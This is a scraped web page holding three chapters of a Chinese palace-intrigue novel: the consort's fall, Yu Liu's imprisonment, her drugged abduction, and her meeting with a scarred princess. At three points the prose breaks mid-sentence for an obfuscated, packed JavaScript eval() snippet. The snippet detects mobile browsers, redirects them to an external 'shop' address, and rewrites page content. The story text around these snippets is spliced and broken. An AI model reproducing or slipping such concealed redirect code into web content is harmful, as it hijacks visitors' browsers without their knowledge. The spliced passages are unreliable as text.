“你走吧,本宫不想再看见你了,”安思贤看向春茵,“去把他们叫回来,本宫累了,要去寝殿歇着。” 春茵当即小步朝外跑去。 确如安思贤所言,她想要什么,只需喊一声。 玉流为他们让开路,错过了安思贤眨眼间流逝的狠厉。低眉候着安思贤走入寝殿,她才能出宫。 “娘娘!” 猝不及防的一声,玉流抬眸。 ——安思贤从台阶踩空。 无人动。 离贵妃最近的护卫没动,其余侍女没动,而春茵紧紧盯着她。 随着落地之音,一道尖叫响彻云霄。 “我从不是任人宰割的羊羔”,原来是这个意思。 ——“我坦荡地走进这场为我而设的棋局,却从一开始就踩进了先入为主的泥泞中。” 她担心他们会给她布下什么陷阱,却忘了她身为外侯官的天职所在。 从来不是想要她对贵妃做了什么,而是她没能对贵妃做什么。 一瞬的迟疑而已。 好手段。 不需要太高明,确凿就足够了。 鹤立鸡群般孑然伫立在兵荒马乱的宫殿中,玉流忽地笑了。 从高柏枝头重落于泥地,也只需一瞬。 101. 我不信 玉流无从得知安思贤在那一跌后如何了。 二十年来,萧瑟如后宫,那棵孕育希望的新老桩被里三层外三层地围着,玉流几乎什么都看不见,一片很轻很微的茫茫血雾中,四目相对。 安思贤分明很痛苦,眼中却有什么东西释然落了地,沿着血色长河从她的身下过至她的身前。 最难的是第一步,只要迈出了第一步,之后的每一步都会水到渠成。 我们都是这样想的。 玉流沉着脸站在那儿。 ——安思贤,你和你爹一样蠢,竟然敢拿自己的命做诱饵。 那扇合拢的殿门吞没安思贤逐渐力竭的扯嚎。人群皆朝殿中赶,只有一人朝她而来。 胡平依旧很客气,客气地将她请下去。 窄狭的私房没有窗,墙顶一排密密小小的孔,石墙上十几根蜡烛一齐烧着,热、亮、烫。门口的太监低着头,一根蜡烛熄了就续上,绝不间断。 和外侯官直接动手的作风不同,内侯官折磨人要不留痕迹,欲先摧其身,必先摧其心。在这样的地方呆久了,人会疯的。 宫内的这些私牢和内侯官的为人一样,阴损得没边了。 渐渐袭来的窒息感让玉流不得不放慢了呼吸。脑袋有些沉了,身子也是。 烛油滴滴答答落在地上,滋滋声,一声接着一声,不论睁眼还是闭眼,眼前皆是灼灼的光,她甚至无法得知外头的天已是几时。 玉流打起精神,踩着地上层层的烛花,估摸着算了算,至少有五六个时辰了。安思贤还没有消息,于她,就是好消息。 但通常来说,想什么就会来什么。 看门的太监悄然退后,玉流侧过身,对着走进来的人道:“公公这活真是干地得心应手。” “先帝在位时咱家还是内侯官,时常在这边走动,”胡平公事公办地解释完,无不痛心疾首道,“玉大人,你犯错了,甚是低劣的错误。” 烛火亮如白昼,一如天子临。这般亮堂的方寸之地,月白着青绿的常服被衬得失尽颜色,唯有那双映着红烛的眼眸红得让人发颤。 光该是暖的,可此刻的光冷如冰。 几十双眼睛佐证玉流的无动于衷,她也没有再狡辩的必要,于是虚心请教:“胡公公认为我该如何呢?护主不力,所以要自戕于此地吗?” 玉流握拳捶上石墙,试了试硬度,骨节砸出血丝,随口道:“头撞在这儿,应该能一头撞死。” 胡平没想到玉流还能这么冷静,眼色骤冷:“玉大人,那是一条人命,一条能让你掉脑袋的人命,您这般无谓的态度,陛下跟前怎么能撑过得去?” 玉流似乎在仔细琢磨他的话:“公公的意思是,要是我跪在陛下跟前磕头痛哭认错,陛下能大发慈悲地网开一面吗?哈,公公是在比我的命和皇子的命谁更重吗?” “那的确是个意外。是娘娘没有站稳,而玉大人只是被吓到了,不是吗?”胡平盯着她的脸道,好像他说的就是真相,要让她记住的真相。 可惜玉流不接招:“是,如何,不是,又何如。是我之罪,我该受罚。” 她还没有傻到要去赵徥跟前说这种疯话的地步。 胡平眯上眼沉思些许,而后微微一笑:“玉大人比咱家想象中的要敢作敢当。” “我且当作是夸赞了。公公是来送我上路的吗?” 胡平也不说是不是,只道:“玉大人看起来,似乎一点也不怕。不愧是首位敢在后宫犯大错的外侯官。” “嗯……”玉流装模做样想了想,“说出来公公可能不信,我这个人吧,运气还算不错。特别是今年以来,好得我自己都害怕。” 还没认清现实骂,胡平不由得拔高了声音:“玉大人,娘娘很不好,咱家不是在和你开玩笑,若想活下去,就该听得懂人话——” “师父,师父……”平时被胡平用裤腰带拉着的小太监一脸汗,蹬蹬蹬地跑进来,因为跑得太着急,左脚不慎踩到右脚,整个人摔在崎岖的黑砖地上,“哎呦”一声哭腔,玉流听着都觉得疼。 鼻梁磕断了,流鼻哗哗地流。小太监抹了一把鼻头,捂住嘴朝胡平怯怯低语:“师父,娘娘的孩子保住了。” 他说的声儿不大,奈何这地方实在太小了,不仅玉流愣了,胡平都为之一愣。 “保住了?”胡平问。 “对,陛下让您回去,”小太监嘴不停,偷瞄向玉流,“玉大人,玉大人也带出去,章大人已经来接她了。” “这样啊,呵呵,”胡平的面相顿时就变了,不似调侃道,“玉大人的运气,的确很好。” 在牢中适应了亮,出来见了暗反而脑子发了昏。 玉流勉强稳住了脚下。 胡平目送她走向章囚。 宫灯燃了很久,烛火的力度弱了。 章囚站在灯下,黑金的官服染了一道水晕,掺着几滴干涸的血珠,那是他破了的额角上滴下的。 他走了几步,姿势有些怪异,玉流盯着他的膝盖,猜出他在赵徥跟前跪了至少有几个时辰。 玉流:“连累你了。” 章囚摇头:“我是你顶头的长官,你犯错,我受罚,天经地义。走吧,我们先出去,这儿不方便说话。” 宫道深长,未至正阳门,便听见门之外有人正大发雷霆。 “你们什么意思!凭什么不让我进去!我可是大殷尊贵的郡主,快滚开……” 玉流暗惊,和章囚疑惑地对上眼,不约而同道:“她怎么来了?” 还是章囚先反应过来:“得让她走。” 玉流直截了当:“晕一个吧,囚哥。” 章囚:“……” “玉流,别这么对我。”章囚思考一番,仍然拒绝。 玉流:“行吧,那我来。” …… 马车沉闷地轧过石板路,驶向玉流偏僻的宅子。玉流从软被上起来,端端正正地坐着。 “好了?”赵颐仍有担忧。 “好了,不要多问,”外侯官在皇宫里晕倒还被一众禁卫军围观有多丢脸,玉流是不会说一个字的,“谁让你来的?” 赵颐的里衣都漏了一截在外头,可见她赶来的时候有多慌。玉流让她扯好,但赵颐没心思管这个,指着对面道:“当然是他啊。” “我没有。”章囚掀开车帘的一角盯着马车外的夜路,分出一分心神否认。 “可来通报分明就是——”赵颐未能出口的三个字被玉流捂住,她知道是谁了。 “先别管这个了,你们俩有什么消息。”玉流岔开了话题。 赵颐:“皇贵妃有孕的消息在京城传开了。” 玉流:“陛下的意思?” 赵颐说不知道,章囚接上了话:“不是。宫中乱了一整天,有人说漏了嘴。” 玉流若有所思:“那还真是有胆子,陛下不追究了?” 章囚:“没有什么比母子平安更要紧的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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她迅速起身,吩咐车夫尽快去往她的宅子,而后回头和赵颐道:“等会儿借你的马车一用。” 赵颐不解:“做什么?” “趁着夜深人少帮我跑一趟,你得帮我带一个人走。这事儿没翻篇之前你们都别先过来找我,尤其是诸几,什么都不要和他说。” 章囚放下帘子,因她将他们排除在外的安排而眉心皱紧。 “阿玉。”章囚握住玉流的手腕,两道目光如短刃相接,他猜出她有什么瞒着他们了。 “为什么?” 为什么? 玉流张嘴难出声,如鲠在喉。 ——因为我经手的案子几乎都是赵徥的授意,不论是冤假错案还是证据确凿,赵徥不会打自己的脸,他们也很难找到把柄,就算有,翻旧账太费时,远不如动这个还未出世的孩子来得容易。 ——因为我并不觉得自己的命保住了,这个“暂时”能有多久谁都不好说。更何况我也不觉得是那位老妇有什么堪比观音的仙术,我只会觉得是有人心软了。 如果是这样,那安思贤是对谁心软了,是我,还是她腹中还未出生的孩子? 更要命的是,那孩子真的被保住了吗? 我不能问,更不能猜。 即使答案就在嘴边。 于瞬息间交错的那个眼神中,我读懂了安思贤一闪而过的只言片语。 “救救我,帮帮你。” ——我不信。 102. 熬不住 玉流没从大门进。 马车静静地转过拐角,视线的死角中玉流跳下,直接翻墙落进院子里。黑着的屋子内似乎有什么一闪而过,像是被风吹动的竹影投上纸窗,颀长柔瘦。 玉流匆匆扫了一眼,转身走进宝儿的屋子。 她没合门,清亮的月色沿着门缝落进来,照亮床尾糊得乱七八槽的长发。 宝儿的睡相真的很不好。 薄被一半踢到地上,人睡得四仰八叉,床面的四个角都是她的。过分红润的脸蛋皱成一小块压扁的嫩豆腐,迷迷糊糊间她似乎察觉到了什么,眼皮动了动,没能掀开,急急地耸着鼻头,闻了好一会儿才放平呼吸,吸了吸嘴角的口水哼唧几声,翻身抱住了软枕。 傻孩子有好福气,玉流偶尔也会羡慕这样好的睡眠。 玉流俯身抱起昏昏沉睡的宝儿,起身的瞬间腰差点塌了。手臂的青筋暴出,她硬是咬紧牙根没抖。这几日在赵颐那儿过得挺好,不声不响长了好几两肉。 将人从前门带出去,车轱辘碾过,玉流空着手像是刚从马车上下来。 远去的马蹄声回荡在寂寞无人的夜色,玉流跨过门槛合上木门,回身和揉着眼睛的小白打了个照面。 他摸着门边,懵着脸:“你要把宝儿送去哪里?” 也许是发觉自己说出的话太生硬了,他顿了顿,补上了“姐姐”。 “吵醒你了?真是不好意思,”说是这样说的,玉流的脸上可丝毫没有不好意思,拢回扬起的发丝,“你在担心宝儿?用不着,我对她可比对你用心多了。” 小白定定地看着她,眼神因为长久的站立而变得清澈。有些事情不用说出来,她和他都在揣着明白装糊涂。 小白装不下去了,一点不易察觉的僵硬从偷偷移到背后的手中败露:“只有她一个人走吗,那我……我是还要留在这儿吗?” 相识以来小白起这孩子说话貌似从来都是这样。仗着自己那张周正清秀的脸,要么愣头愣脑躲在宝儿身后站桩,学哑巴装可怜不说话,要么被她逼急了鼓足勇气张嘴去说谎。 唯一让她觉得有点真心的是那个赏星之夜,如今想来也不知里面有几句真假。 玉流顺着他的话,看向他的眼睛:“怎么,你也想走吗?” “不,我想留在这儿。”毫无波动的语调,他都没有犹豫过,听起来挺像那么一回事的。 “是吗,那我还挺荣幸的。”玉流说着,意味不明地笑了声。 明月爬至她的身后,阴云走过,深浅不一的黑打在他的身上。 光能柔和轮廓,黑能彰显骨骼。 平生见过的美人太多,眼睛都被养刁了。 初见他时也是黑夜,彼时太匆忙,只觉得他长得比寻常家的孩子好看些,没有宋远徽身上令人作呕的影子在,此时再去看,暗的和更暗的阴影交错融合,把这张清秀的脸谱一道一道地划开,四分五裂。 红蛛丝缠绕的眼白早已支离破碎,她的眼睛很疼,像铜镜碎在地上,赵徥和赵徸的脸分散在每一块碎片中。 玉流强压下不适,挑出几块碎片叠放在一起,叠着叠着她又觉得荒唐极了。龙生九子各有不同,一个爹的赵徥和赵徸都长得不像,差辈儿的赵寻白又能像到哪里去呢? 玉流平静地收回眼:“回去睡吧,多睡会儿。” “好,”小白听话地进屋,门关上前突然探头叫住她,“姐姐,白天太阳很好,我们把被子抱出来晒过了,只动了被子,其余的都没动过。” 玉流:“那就谢谢你们了。” “不客气,还有,”他缩回点身子,门板挡住了半张脸,徘徊在门后,“还有一位姓谢的哥哥来过。” 玉流:“你们把他放进来了?” 小白点着头应声,门边只剩下一撮蓬出来的头发。 玉流吐出一口长气:“知道了,不要紧。” 夜里多风,后半夜响起了惊雷。非如昨日的空雷,潮湿的风送来太多的水意,木窗周围都铺上了黄豆大的水珠。 “明天就不会这么热了。一夜换新天,月落日升就是这么的简单。”玉流抹过水痕喃喃自语。 聚水成珠,檐上的水落下砸在地上,重重的一声,玉流在轻重缓急的雨声中入眠…… “能不能……别用这种法子……不管怎么说,她都是无辜的。” “心疼了?赵寻白,动动你的脑子,想要她安全就做好你的事,软肋要是被人知道了,凄惨的就不止你一个人了。” “那你呢?” “什么?” “姐姐知道的话会恨你的。” 良久,玉流听见了讽刺的回答:“呵……小弟弟,你懂什么,恨就恨,我宁愿她恨我,恨我总比看不见我要好。” 暗中猝然睁开的眼过境,紧迫的视线仿佛饿极的猛兽在一望无垠的荒草间寻到了难得一见的猎物,逼仄得让玉流喘不过气来。 心震如擂鼓,她在这样失序的心颤中惊醒。手心贴着额头捂住细密的冷汗,她没想过会做梦,或者说,听见她不在的时候,他们在这间宅子中密谋过的碎片。 玉流无言,扯了扯嘴角,披起外衫,走出了房门。 外面又静又凉。蒙蒙雨丝飘飘摇摇,跟三月冒出来的竹芽头似的,细长成片。 小白见她出来了,小步跑来低声说话:“姐姐,外面有人站着。” 玉流没应,自顾自洗漱完了,擦干脸上的凉水,才道:“烧水了吗?” 小白愣了,等了一会儿说:“烧了。” 玉流撇头示意:“去倒几碗热茶给外面的大人送去,记得礼貌些,说声辛苦。” 绵雨不知要延续多久,她也不知道要等多久,不如客气些,对她,对他们,都好。 借着小白开门的缝隙,玉流扫了一眼,宅子外守着的人比她想象中的要少,普通得就像是晨起赶路被雨水困在了此处歇歇脚。 一连几日都是如此,仿佛什么都没有发生,浪静风平。 玉流回到了涉入这趟浑水前的日子。搬了张小桌到廊下,劈着先前丢在空房里的细竹,一天劈一点,一摞的竹条摆在地上,转眼就堆得有几座小山高了,她手里的动作仍旧未停,侧耳听着他越走越快,越等越急。 “为什么不坐下?走来走去显得你这个人很燥。” 小白:“下雨很烦。” “下雨很好。”玉流眼尾翘了一瞬,而后便把注意放在自己手上。 小白:“为什么没有人来?” 他有些熬不住了。 玉流反问:“为什么会有人来?” 没有人来才正常,和她有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14233354|136175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关的人都会被压着,就算是跋扈任性的赵颐也被关着。赵徸机灵了大半辈子,不可能看不出隐变的风向。 在小白的沉默中,玉流慢慢开口:“我也不想把颈上的这颗脑袋当成装饰,你如果有什么想说的,趁现在我还有耐心,赶紧说。” “没、没有。”赵寻白的嘴也很硬。 “是吗?可是赵寻白,你知不知你看起来很矛盾。因为年纪太小吗,所以心事藏不好,藏一半漏一半的。”玉流放下了小刀,刀背推倒一小座竹山,竹条簌簌地飞落。 小白扶着廊柱稳下晃动的身子,心虚地抬头,见玉流还看着竹片上才敢道:“姐姐,我是觉得你太累了,去屋里躺一会儿会比较好。” “哈,那我谢谢你的关心?不需要,我不困。”人都被按在水底了怎么可能犯困。 她熬得住。 尽管什么都还不知道。不知道那个孩子是死是活,不知道赵徥要对她做什么,不知道赵寻白能不能活下去……可她清楚,只有无知才会多思,多思即是自焚。 她没有那么多的时间伤春悲秋,机会只有一次,谁都想要一击即中。 她要等,因为其余的所有人都在等。 总会有人熬不住先犯错的。 ……她等到了。 玉流第一次见到赵寻白杀人。 血在雨中晕开,绕过玉流的鞋底。 为什么会这样? 她的半口气哽在喉间:“你在做什么?” 迟迟等不到赵寻白的解释,玉流怒气上来:“我问你在做什么!” 他终于说话了,手抖得像筛子,眼神却坚毅得如磐石:“他是来通风报信的。” 废话,她当然知道他是来通风报信的。 玉流低头碾着血水:“你至少该等他说完,而不是见人就杀!你家长辈怎么教你做事的,这样下去我怎么演?” “没关系,反正我不想装了,姐姐也马上就要逃了,”小白抹去短刀上的血,“我反悔了,姐姐,对不起,对不起……” “逃?逃什么逃,我——”玉流戛然止住了嗓子,她的脚在发软,忽而踉跄跌在地上,脊背装上房柱,疼得她眼睛一下就酸了。玉流试图举起僵硬的手腕,而双手麻痹无知无觉。 她这才发觉周围漫着一股熟悉的气味。 并非一模一样,但那些隐秘的痕迹不会变,她知道这是出自谁之手。 该死的秦辜幸,你还真是阴魂不散。 她再一次被他暗算了。 只不过这次的幕后之人不是宋繁声。 “谢遥知,放开我!” 鬼知道她用了多大的喊声,而传至谢遥知耳中,软得像一床棉花被子扑过来。 “玉流,安静些。想知道赵廉是怎么从布满眼线的王府被带走的吗,就是现在你这样。不同的是,他是自愿的。” 哪里都有被替换的侯官,里应外合得如此光明正大。但为什么,为什么谢遥知还要杀了他们? 不太对,意识已经混沌,玉流咬破了舌尖,血锈让她勉强清醒了些:“你别告诉我……你也……反悔了?” 谢遥知的手微停,将她放到马车内,摸上她的后颈,在让她昏迷前轻声道:“是,我后悔了。玉流,我不会对你做什么,你要信我,我不会伤你的……” 103. 相见时 “说真的,玉流你有没有想过会和我死在一块?” “没有,要死你一个人去死。”玉流托着脑袋撑起身子,药效还拼命地往骨血里钻,将她钉死在谢遥知身边。她没什么力气,记性也差得很,醒醒睡睡睡睡醒醒,记不清天黑了几次。 靠在车门上费劲地握着手试力气,说话倒是比先前利索了,一如之前的十三次,她恶狠狠道:“给、我、解、药。” 他也一如之前的十三次:“不行。” 真他娘的是个疯子,玉流送给自己一记白眼:“那告诉我你要去哪儿?” “不行。” 他知道玉流在里面做些什么,不紧不慢地提醒:“秦辜幸说这药很凶,强行突破会被反噬,越反抗持续的时间越久,对疼痛的承受程度也会更低。为了你自己着想,不要再乱动了,离开这一片到安全些的地方,我会给你解毒的。” 玉流冷笑,无言以对。 她是被秦辜幸暗算过的,信谁的话都不会再信他的话。几番尝试后五指流过钻心的刺痛,玉流暗骂一句要死,脸贴上了门板:“谢遥知,你什么时候变得这么单纯了,你真的觉得凭你就能带我逃走吗,在你身后指点江山的那位长辈,真的会放过你吗?” 因着玉流的话谢遥知收紧了缰绳,怔怔之后一派坦然:“你已经知道了啊,宋繁声在寒山和你说的吗?” 玉流疼累了,喘着气没说话。 “好吧,那我直说了。虽然我不知道为什么,但有一点我很清楚,你非她的人却成为了她最锋芒的那枚棋子,她会利用你直至榨干最后一滴血。我不会让这样的事情发生。” 玉流直接气笑了:“你太自信了,宋繁声谋划了三年才做成一半的事,你居然这么轻易就做成了,谢遥知,你觉得可能吗?” 谢遥知不隐瞒,缰绳被手汗打湿勒伤了掌心,他目视前方,道:“不可能,但我也想试一试,就当是我欠你的。我早就该告诉你,不然你也不会走入如此凶险的境地中。” 玉流默然,浮动的心潮偃了旗息了鼓:“可是这样下去,我们两个人都不会好过。” ……一语成谶。 玉流觉得自己身上压了一座山。好重,好痛,腰腹以下似乎没有知觉了。 “呃……滚……滚开,在我——”扑面的热息中吹醒了玉流,面前的庞然大物让她在瞬间提紧了心神。 狼。 一头成年的野狼。 玉流后背已被冷汗淋湿,眼睛往下瞥,不出意外的,它就趴在她的腿上。察觉到她醒来,狼撑起的双眼立马放出神采。 玉流觉得自己下一刻就要命丧狼口了。 谢遥知,要是我今日死在这儿,我做鬼都不会放过你。 靠着念力,玉流把依旧麻木的手指一点一点地挪进袖中。她藏了一柄很小的刀,虽然不想这么早就暴露,但恶狼在前,眼下也没有更好的办法了。 指尖才按住刀柄,狼耳轻轻地动了动,张开嘴“嗷呜”一声后猛地扑来,爪子精确地压住她的手臂,嘴筒子靠过来逮着她的脸瞎舔。 玉流整个人都僵住了:“……唉?” “醒了?真不容易啊,我还以为你会再睡个一两天。” 听过土灶里的木头被火烧干的声音吗,就是这样的,低沉的灼烧中时不时蹦出几个火花的爆炸声。 被舔到恍惚的玉流推开毛茸茸的狼脸,竭力睁大眼去看来人的方位。 那是一道灰白的鬼影,帏帽将脸都遮掩。 身边的狼还在孜孜不倦地蹭着她,试图唤回她的注意。玉流咬牙抽回自己的手,抹去脸上的口水,动作比脑子更快,没来得及细想,手已挥下:“坐下。” 等到听清自己说了什么,玉流惊异地扭头,和乖乖坐好的狼对着看。她很难说清自己在想些什么,好多年前那张受伤的幼年狼脸被拉长,逐渐和眼前的野狼重合:“小、小狼?” 被认出的小狼兴奋地站起来,差一点又要扑过来了,可惜中途被人踩住了尾巴。 “居然还能记起来,难为你了。”鬼影不声不响地走到了身后,勒住玉流的咽喉迫使她仰头。隔了这么多年后,她才想通当年杏树下的人影不是幻觉。 她继续看着玉流,对着狼道:“出去,我要和你的前主人聊聊。” “呜呜——”它不情愿也无可奈何,恋恋不舍地走出了这个昏暗的地方。 哦,这里,玉流沿着帷帽垂下的皂纱往上。坠落的后遗症,她的眼睛还是有些看不清,一层云翳后隐约有着陡曲峻峭的天顶。 她不知道她在哪里,只听见空洞的回音。 “谢遥知呢?”玉流被她钳着喉咙,哑着嗓子问。 “奇怪,你见到我的第一面居然先问一个无关紧要的人?”声线粗哑宛如炊烟缠紧,留下黢黑的痕迹。 虽然看不清,但玉流敏锐地感觉到皂纱下的眼神变了:“不可以吗?” “可以,”她松开她,退后几步,轻描淡写道,“他死了。” “我不信。” “看来不好骗啊。我本来还觉得他死了对你来说会比较好,行,他快死了,这样信了吗?” 玉流闭了闭眼,她信了,缓着气,她问:“能告诉我这是哪儿吗?” “你猜。” “猜不出。” “猜不出就关上你的好奇心,先和我谈谈吧。宋繁声应该说了挺多他的故事吧,尤其是你在寒山发现他是谁之后。听他的话利用谢遥知的滋味不错吧。” 玉流猛地一抖,不可置信地看向她。 她被玉流的反应逗笑了,吓唬小辈就是有意思:“怎么,你觉得我会不知道他假死之事?别和你娘一样的天真,我养大的孩子是什么性子,我怎么可能不会清楚。也只有谢遥知会信,会信你真的下得了手。” “啊,”她无比惋惜,“阿遥还是太蠢了,这点就比不上宋繁声,你的好师兄这几年为了你使了不少忤逆我的绊子。可惜了,阿遥也步了他的后尘。你倒是很有本事,不过还好, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14244234|136175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是被我找到了,知道靠什么吗,靠你当年养过的那头小狼……轮到你了,盯着我看做什么,为什么还不说话?” 玉流抿紧唇,思忖片刻后道:“……因为你和我想象中的不太一样。” “呦,宋繁声还真是个君子,他没在背后和你说我是如何待他的?啧……那你觉得我该是什么样的?”在帷帽后的嘴角轻轻勾起。 玉流锁紧眉心:“能养出阴阳面那么凌厉手段的人,怎么都得是个疯子。而且,你应该很恨我。” “我恨你啊,我怎么可能不恨你……哦,是我和你说话的声音太温柔了所以给你造成了这样的错觉吗?没办法,谁让你是故人的孩子,还长了一张像极了故人的脸。” 粗糙的手抚起玉流的脸,朦胧的皂纱后好似生出一双慈爱的眼睛,随同她陡然袭来的恨意消亡:“……要知道,若你长得像时不愁,你绝不可能活到现在,更去不了京城当上侯官。” 爱恨分明甚于泾渭,提到时不愁时,她是真的恨。 “是听不懂了吗,”清了清嗓子,她捧起玉流茫然的脸,“我曾以为你和宋繁声能查到所有,看来还不行,有点没用了,你都爬到这个地位了,竟然连门槛都没摸到。” “你看不起我?” 玉流蓄起的力气挥出,拍开她的手:“不要小看我。不就是‘杳霭流玉’吗,既然没死为何还要藏二十年,殿下?” 太久没有人这么称呼她了,她微愣,而后无声地笑了:“已经走过门槛了啊,挺好的,继续说,你还查到了什么?” “只有我说吗,殿下不该也拿点诚意出来吗?” “哈,玉流,你是在和我讨价还价吗……行,难得相见,我是该对你好一些的。不管怎么说,你都是她的孩子。”声音渐轻,她收回手掀开帷帽。发已灰,狰狞的刀痕从眉峰斜斜地劈下,将那张脸一分为二。 柔和的长相硬生生逼上了狞恶。 “别用这种怜悯的眼神看着我,我又不是十几二十岁的小姑娘,况且我在那个岁数也还没有这道伤疤。” 玉流不看了,她撑着地,吃力地坐正。她有很多东西可以说,她只是需要好好理一理:“在说之前,我想问问我该叫你什么?仁公主殿下?阴阳面之主?还是……师母?呃——” 玉流疼得骨头都在抖,就差一点,一点点下巴就要被捏碎了。 欺身而来之人更是杀意汹涌。 “我随你叫什么,赵杏赵杳都可以,一个称呼而已,区别就是赵杳死了赵杏还活着。但你要是把我和李长庚那个懦夫混为一谈,你就大错特错了。这次我可以放过你,玉流,我劝你下次张嘴前好好想清楚你要用这张脸和我说什么样的话。我说得够明白了吗?” 人为刀俎我为鱼肉,玉流托着下巴抽气点头,半垂的眼睫下眸色深沉。 谢遥知还真没骗她,被这么一点内力一激,五脏六腑都疼得发麻,手都疼得要抽搐了……一滴汗沿着湿涔涔的睫羽落下,玉流小心翼翼地卸下了气息。